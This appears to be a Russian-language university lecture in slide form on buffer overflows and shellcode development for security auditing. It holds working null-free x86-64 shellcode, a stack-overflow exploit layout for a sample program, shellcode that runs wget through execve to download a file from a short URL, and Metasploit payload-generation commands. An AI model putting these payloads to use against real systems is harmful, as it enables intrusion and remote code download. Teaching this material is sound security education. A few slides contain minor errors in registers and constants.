

Внешний аудит безопасности корпоративных сетей

Лекция 8
Переполнения буфера II. Шелкоды

Семён Новосёлов

2022



Разработка шелкодов

План:

1. Подготовить аргументы для функции или системного вызова
2. Передать управление на функцию

Системные вызовы

- Пользовательский режим:
программе не позволяет делать ничего, кроме преобразования
данных в отведенной ей области памяти
- Все остальные действия производятся через операционную систему
 - запуск программы (Linux: execve)
 - работа с файлами (Linux: open, read, write, close)
- Системный вызов (*syscall*):
обращение пользовательской задачи к ядру ОС

Linux. Системные вызовы

- Для вызова необходимо поместить номер системного вызова и параметры в регистры и вызвать спец. инструкцию
- конкретные регистры и инструкция зависят от архитектуры

man/syscall

Arch/ABI	Instruction	System call #	Ret val	Ret val2	Error
alpha	callsys	v0	v0	a4	a3
arc	trap0	r8	r0	-	-
arm/OABI	swi NR	-	r0	-	-
arm/EABI	swi 0x0	r7	r0	r1	-
arm64	svc #0	w8	x0	x1	-
blackfin	excpt 0x0	p0	R0	-	-
i386	int \$0x80	eax	eax	edx	-
ia64	break 0x100000	r15	r8	r9	r10
m68k	trap #0	d0	d0	-	-
microblaze	brki r14,8	r12	r3	-	-
mips	syscall	v0	v0	v1	a3
nios2	trap	r2	r2	-	r7
parisc	ble 0x100(%sr2, %r0)	r20	r28	-	-
powerpc	sc	r0	r3	-	r0
powerpc64	sc	r0	r3	-	cr0.SO
riscv	ecall	a7	a0	a1	-
s390	svc 0	r1	r2	r3	-
s390x	svc 0	r1	r2	r3	-
superh	trap #0x17	r3	r0	r1	-
sparc/32	t 0x10	g1	o0	o1	psr/csr
sparc/64	t 0x6d	g1	o0	o1	psr/csr
tile	swint1	R10	R00	-	R01
x86-64	syscall	rax	rax	rdx	-
x32	syscall	rax	rax	rdx	-
xtensa	syscall	a2	a2	-	-

Linux. Номера системных вызовов

- Можно посмотреть в файлах вида asm/unistd.h
- Пример:

```
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
```

```
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
...
...
```

Linux. Системные вызовы: передача параметров

- параметры передаются через регистры
- конкретные регистры для разных архитектур: [man/syscall](#)

Arch/ABI	arg1	arg2	arg3	arg4	arg5	arg6	arg7
alpha	a0	a1	a2	a3	a4	a5	-
arc	r0	r1	r2	r3	r4	r5	-
arm/OABI	r0	r1	r2	r3	r4	r5	r6
arm/EABI	r0	r1	r2	r3	r4	r5	r6
arm64	x0	x1	x2	x3	x4	x5	-
blackfin	R0	R1	R2	R3	R4	R5	-
i386	ebx	ecx	edx	esi	edi	ebp	-
ia64	out0	out1	out2	out3	out4	out5	-
m68k	d1	d2	d3	d4	d5	a0	-
microblaze	r5	r6	r7	r8	r9	r10	-
mips/o32	a0	a1	a2	a3	-	-	-
mips/n32,64	a0	a1	a2	a3	a4	a5	-
nios2	r4	r5	r6	r7	r8	r9	-
parisc	r26	r25	r24	r23	r22	r21	-
powerpc	r3	r4	r5	r6	r7	r8	r9
powerpc64	r3	r4	r5	r6	r7	r8	-
riscv	a0	a1	a2	a3	a4	a5	-
s390	r2	r3	r4	r5	r6	r7	-
s390x	r2	r3	r4	r5	r6	r7	-
superh	r4	r5	r6	r7	r0	r1	r2
sparc/32	o0	o1	o2	o3	o4	o5	-
sparc/64	o0	o1	o2	o3	o4	o5	-
tile	R00	R01	R02	R03	R04	R05	-
x86-64	rdi	rsi	rdx	r10	r8	r9	-
x32	rdi	rsi	rdx	r10	r8	r9	-

Системный вызов write

size_t **write**(int fd, const void *buf, size_t count);

- Запись данных в файлы/потоки
- Параметры:
 - fd – номер потока (0 – ввод, 1 – вывод, 2 – ошибки)
 - buf – данные для вывода
 - count – длина данных
- Имеет номер 1 (x86_64)
- Для вызова необходимо:
 - поместить в RAX число 1
 - в RDI – значение fd
 - в RSI – адрес buf
 - в RDI – count
 - вызвать syscall

Системный вызов _exit

```
void _exit(int status);
```

- Завершение работы программы с кодом status
 - 0 – успешно
 - 1 и больше – ошибка
- Имеет номер 60 (x86_64)
- Вызывается аналогично write, только в RAX заносится номер 60, а в RDI значение status

Пример 1. Разработка шелкода.

- **Задача:** вывести на консоль слово `hack` и завершить работу программы для переполнения буфера в программе `hello.c`
- **Требования:** шелкод не должен содержать символа с кодом 0 (конец строки в C), так как уязвимость при использовании `strcpy`

Вариант 1

```
global _start
section .text
_start:
    mov rax, 1 ; sys_write
    mov rdi, 1 ; arg1, 1 - stdout
    push 0x6b636168; hack
    mov rsi, rsp ; arg2, pointer to "hack"
    mov rdx, 4 ; arg3, count, len("hack")
    syscall
    mov rdi, 1 ; код
    mov rax, 60 ; exit
    syscall
```

hack_shell_1.asm

Сборка:

- nasm -f elf64 hack_shell_1.asm

Просмотр машинных кодов:

- objdump -d

Вариант 1. Машинный код

0:	b8 01	00 00 00	mov \$0x1,%eax
5:	bf 01	00 00 00	mov \$0x1,%edi
a:	68 68	61 63 6b	pushq \$0x6b636168
f:	48 89	e6	mov %rsp,%rsi
12:	ba 04	00 00 00	mov \$0x4,%edx
17:	0f 05		syscall
19:	bf 01	00 00 00	mov \$0x1,%edi
1e:	b8 3c	00 00 00	mov \$0x3c,%eax
23:	0f 05		syscall

Плохо: В коде есть нули. strcpy обрежет часть буфера при копировании.

Нужно подобрать команды с машинным кодом без нулей.

Вариант 2

```
global _start
section .text
_start:
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    inc al          ; sys_write
    inc di          ; file handle, 1=stdout
    push 0xb636168 ; "hack"
    mov rsi, rsp    ; pointer to "hack"
    mov dl, 4       ; length, 4
    syscall
    dec di
    mov al, 60      ; exit
    syscall
```

Решение проблемы с нулями:

- обнуляем регистры rax, rdi, rsi, rdx с помощью xor
- увеличиваем на нужное число с помощью inc
- либо изменяем младшие биты регистров (dl для rdx) на нужное значение

Вариант 2. Машинный код

```
0: 48 31 c0          xor    %rax,%rax
3: 48 31 ff          xor    %rdi,%rdi
6: 48 31 f6          xor    %rsi,%rsi
9: 48 31 d2          xor    %rdx,%rdx
c: fe c0             inc    %al
e: 66 ff c7          inc    %di
11: 68 68 61 63 6b   pushq $0x6b636168
16: 48 89 e6          mov    %rsp,%rsi
19: b2 04             mov    $0x4,%dl
1b: 0f 05             syscall
1d: 66 ff cf          dec    %di
20: b0 3c             mov    $0x3c,%al
22: 0f 05             syscall
```

OK: В коде нет нулей

Вариант 2. Машинный код

0:	48 31 c0	xor %rax,%rax
3:	48 31 ff	xor %rdi,%rdi
6:	48 31 f6	xor %rsi,%rsi
9:	48 31 d2	xor %rdx,%rdx
c:	fe c0	inc %al
e:	66 ff c7	inc %di
11:	68 68 61 63 6b	pushq \$0x6b636168
16:	48 89 e6	mov %rsp,%rsi
19:	b2 04	mov \$0x4,%dl
1b:	0f 05	syscall
1d:	66 ff cf	dec %di
20:	b0 3c	mov \$0x3c,%al
22:	0f 05	syscall

Итоговый шелкод:

```
"\x48\x31\xc0\x48\x31\xff\n\x48\x31\xf6\x48\x31\xd2\n\xfe\xc0\x66\xff\xc7\x68"\n+"hack"+\n"\x48\x89\xe6\xb2\x04\x0f\x05\x66\xff\xcf\xb0\x3c\x0f\x05"
```

Экспloit к hello.c

1. Формируем буфер `buf` вида:

[shellcode][A x (input_size - shellcode_size - 8)][buff_addr]

- `input_size` – подобранный размер входных данных для перезаписи адреса возврата адресом `buff_addr`
 - `A x (input_size - shellcode_size - 8)` - можно заменить на любые данные, нужного размера
 - `shellcode` – шелкод для вывода слова `hack`
2. Передаём на вход программы `./hello “[buf]”`

⇒ В терминале должно вывестись слово “`hack`”.

Системный вызов execve

```
int execve(const char *pathname, char *const argv[], char *const envp[]);
```

- Запуск программы по pathname с аргументами из argv
- Вызов в x86_64:
 - номер системного вызова: 59 (asm/unistd_64.h) => в регистр rax
 - указатель на pathname => в регистр rdi
 - аргументы argv => в регистр rsi
 - вызвать syscall

Пример 2. Загрузка кота

Задача: разработать shellкод для скачивания кота

- использовать execve для вызова wget
- за основу возьмём:
<https://www.exploit-db.com/shellcodes/49547>



tinyurl.com/3k7b9wdw

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

```
    mov rbx, 0x746567772f6e6962 ; "bin/wget"
    push rbx
    mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
    push rbx
    mov rbx, rsp
    mov rdi, rsp          ; RDI => ///usr/bin/wget
    push rax              ; NULL-DWORD.
    mov rdx, rsp          ; RDX = 0
    push rbp
    push rbx
    mov rsi, rsp          ; RSI => tinyurl.com/3k7b9wdw
    push word 59          ; execve number
    pop ax
    syscall
```

Код cat_shell.asm

выделение
памяти в стеке
для
предотвращения
перезаписи
шлкода

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp ; allocate some space in stack
    push rax ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; " tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp ; Copies the value of the Stack into RBP.
    push rax ; Pushes RAX's NULL-DWORD.
```

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
push rbx
mov rbx, rsp
mov rdi, rsp ; RDI => ///usr/bin/wget
push rax ; NULL-DWORD.
mov rdx, rsp ; RDX = 0
push rbp
push rbx
mov rsi, rsp ; RSI => tinyurl.com/3k7b9wdw
push word 59 ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp      ; allocate some space in stack
    push rax          ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp      ; Copies the value of the Stack into RBP.
    push rax          ; Pushes RAX's NULL-DWORD.
```

rax используется,
чтобы вставить
символ "\x00",
конец строки в С

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; ///usr/
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

запись ссылки
для скачивания в
стек (в обратном
порядке)

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; ///usr/
push rbx
mov rbx, rsp
mov rdi, rsp          ; RDI => ///usr/bin/wget
push rax              ; NULL-DWORD.
mov rdx, rsp          ; RDX = 0
push rbp
push rbx
mov rsi, rsp          ; RSI => tinyurl.com/3k7b9wdw
push word 59           ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

push вставляет по
8 байт, обрезаем
пробелы

spl - младшие 8
байт регистра RSP
(указатель на
вершину стека)

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; ///usr/
push rbx
mov rbx, rsp
mov rdi, rsp          ; RDI => ///usr/bin/wget
push rax              ; NULL-DWORD.
mov rdx, rsp          ; RDX = 0
push rbp
push rbx
mov rsi, rsp          ; RSI => tinyurl.com/3k7b9wdw
push word 59          ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp      ; allocate some space in stack
    push rax          ; NULL-DWORD.
    mov rbp, 0x7764773962376b33  ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275  ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp      ; Copies the value of the Stack into RBP.
    push rax          ; Pushes RAX's NULL-DWORD.
```

запоминаем
начало строки
со ссылкой в
RBP

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; ///usr/
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

записываем
путь к
программе в
стек
аналогично
ссылке и
запоминаем в
RBX

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

записываем
указатель на
wget в первый
аргумент
execve
(регистр RDI)

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

обнуление
третьего
аргумента
execve
(переменные
окружения),
регистр RDX

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

запись
второго
аргумента
execve (argv,
регистр RSI),
массив: путь к
программе+ар-
гумент

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; "///usr/"
push rbx
mov rbx, rsp
mov rdi, rsp          ; RDI => ///usr/bin/wget
push rax              ; NULL-DWORD.
mov rdx, rsp          ; RDX = 0
push rbp
push rbx
mov rsi, rsp          ; RSI => ///usr/bin/wget
tinyurl.com/3k7b9wdw
push word 59          ; execve number
pop ax
syscall
```

Код cat_shell.asm

```
global _start
_start:
    xor rax, rax
    xor rbp, rbp
    mov bpl, 100
    add rsp, rbp          ; allocate some space in stack
    push rax              ; NULL-DWORD.
    mov rbp, 0x7764773962376b33 ; "3k7b9wdw"
    push rbp
    mov rbp, 0x2f6d6f632e6c7275 ; "url.com/"
    push rbp
    mov rbp, 0x796e697420202020 ; "tiny"
    push rbp
    add spl, 4 ; trim spaces
    mov rbp, rsp          ; Copies the value of the Stack into RBP.
    push rax              ; Pushes RAX's NULL-DWORD.
```

запись номера
системного
вызыва
(59=execve) в
RAX и запуск

```
mov rbx, 0x746567772f6e6962 ; "bin/wget"
push rbx
mov rbx, 0x2f7273752f2f2f2f ; ///usr/
push rbx
mov rbx, rsp
mov rdi, rsp      ; RDI => ///usr/bin/wget
push rax          ; NULL-DWORD.
mov rdx, rsp      ; RDX = 0
push rbp
push rbx
mov rsi, rsp      ; RSI => ///usr/bin/wget
tinyurl.com/3k7b9wdw
push word 59      ; execve number
pop ax
syscall
```



Генерация шелкодов в Metasploit

Генерация шелкода для загрузки кота:

- use payload payload/linux/x64/exec
- set CMD “wget tinyurl.com/3k7b9wdw”
- generate -b “\x00”

Поддерживаются также разные кодировщики (encoders) для обхода средств защиты.

Важно: В стеке должно быть достаточно места для развёртывания шелкода

Литература и ссылки

- Генерация полезной нагрузки в Metasploit:
<https://www.offensive-security.com/metasploit-unleashed/generating-payloads/>
- Д. Фостер, В. Лю. Разработка средств безопасности и эксплойтов.
2011